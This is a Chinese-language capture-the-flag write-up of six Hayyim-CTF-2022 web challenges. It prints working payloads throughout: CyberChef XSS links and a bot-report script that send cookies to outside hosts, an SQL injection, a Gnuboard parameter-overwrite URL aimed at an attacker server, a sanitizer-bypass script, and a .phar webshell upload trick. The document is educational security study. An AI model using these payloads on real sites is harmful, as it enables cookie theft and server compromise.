Hayyim-CTF-2022 Web全解析
字数 1409 2025-08-29 08:31:35
Hayyim-CTF-2022 Web题目全解析与教学文档
0x00 背景介绍
本文详细解析Hayyim-CTF-2022中的Web题目,包含6个Web挑战(含一个revenge),难度中等但思路新颖有趣。这些题目涉及XSS漏洞利用、SQL注入、变量覆盖、HTML解析器绕过、文件上传等多种Web安全技术。
0x01 Cyberchef - XSS漏洞利用
漏洞分析
- 题目提供了一个较新版本的Cyberchef工具和一个bot
- 通过GitHub issue搜索发现未修复的XSS漏洞
- 漏洞存在于Scatter chart和Series chart组件中
<svg>标签内对color属性未正确转义
利用方法
- 构造恶意payload注入到color属性中:
#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA
- 发送链接给bot,在webhook接收cookie
预期解法(非预期解法)
import requests
payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"
res = requests.post('http://1.230.253.91:8001/report', data = {'url': payload}, allow_redirects=False)
0x02 CyberHeadChef - 绕过过滤
题目修改
- 出题人发现非预期解法后,在bot中ban掉了"chart"关键字
- 意图迫使选手使用预期0day解法
绕过方法
- 利用Chrome浏览器会忽略不可见字符的特性
- 在"chart"中插入空字符%00:
#recipe=Scatter_cha%00rt
0x03 not_e - SQL注入
漏洞分析
- 题目提供登录和发表note功能
- 插入数据时对标题中的"?"替换为空
- 导致SQL语句结构被破坏,可注入恶意SQL
利用方法
- 构造特殊标题和内容:
title=?&content=,(select flag from flag),'test
(注意test[]需替换为实际用户名)
- 最终生成的SQL语句:
insert into posts values ("noteid", "",(select flag from flag),'test')
0x04 Gnuboard - 变量覆盖导致文件读取
漏洞分析
- 韩国系统Gnuboard的0day漏洞
- flag存储在common.php中
- /shop/inicis/instdpay_result.php文件存在变量覆盖漏洞
利用方法
- 控制关键变量:
- 设置resultCode=0000
- authUrl设置为不可访问的网站
- netCancelUrl指向攻击者控制的服务器
- 构造payload:
http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://服务器/1.php&a=flag
- 1.php内容简单返回一个值即可:
<?php echo "a"?>
0x05 Marked - HTML解析器绕过
漏洞分析
- 使用markdown转HTML功能
- 使用node-html-parser进行sanitize过滤
- 可通过特殊字符组合绕过过滤
利用脚本
import requests, random
HOST = 'http://1.230.253.91:3000'
s = requests.Session()
res = s.post(HOST + '/login', {'username': 'posix', 'password': '1337'})
res = s.post(HOST + '/new', {
'title': 'abcd',
'content': "</header <a><a \t ><h<a \x0B style='animation-name:spinner-donut-anim'onanimationend='fetch(`http: \\ x2f \\ x2fp6.is \\ x2fflag \\ x2f${document.cookie}`)' "
})
print(res.text)
0x06 xpressengine - 文件上传绕过
漏洞分析
- 韩国PHPCMS系统
- 媒体上传功能存在phar文件上传漏洞
- 核心文件:/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php
利用方法
- 分析mimeFilter黑名单:
- 发现未过滤.phar文件
- 但过滤了.php、.php3、.phtml等常见PHP扩展
- 上传.phar格式的webshell
- 访问上传的phar文件获取flag
防御建议
- 补充.phar到黑名单
- 使用更严格的文件类型验证机制
0x07 总结
本CTF中的Web题目展示了多种实际漏洞利用技术:
- 已知漏洞的快速利用(Cyberchef)
- 过滤机制的绕过技巧(CyberHeadChef)
- 非常规SQL注入(not_e)
- 变量覆盖导致敏感信息泄露(Gnuboard)
- HTML解析器特性绕过(Marked)
- 文件上传黑名单绕过(xpressengine)
这些技术在实际渗透测试中都有广泛应用,理解其原理和利用方法对提升Web安全能力至关重要。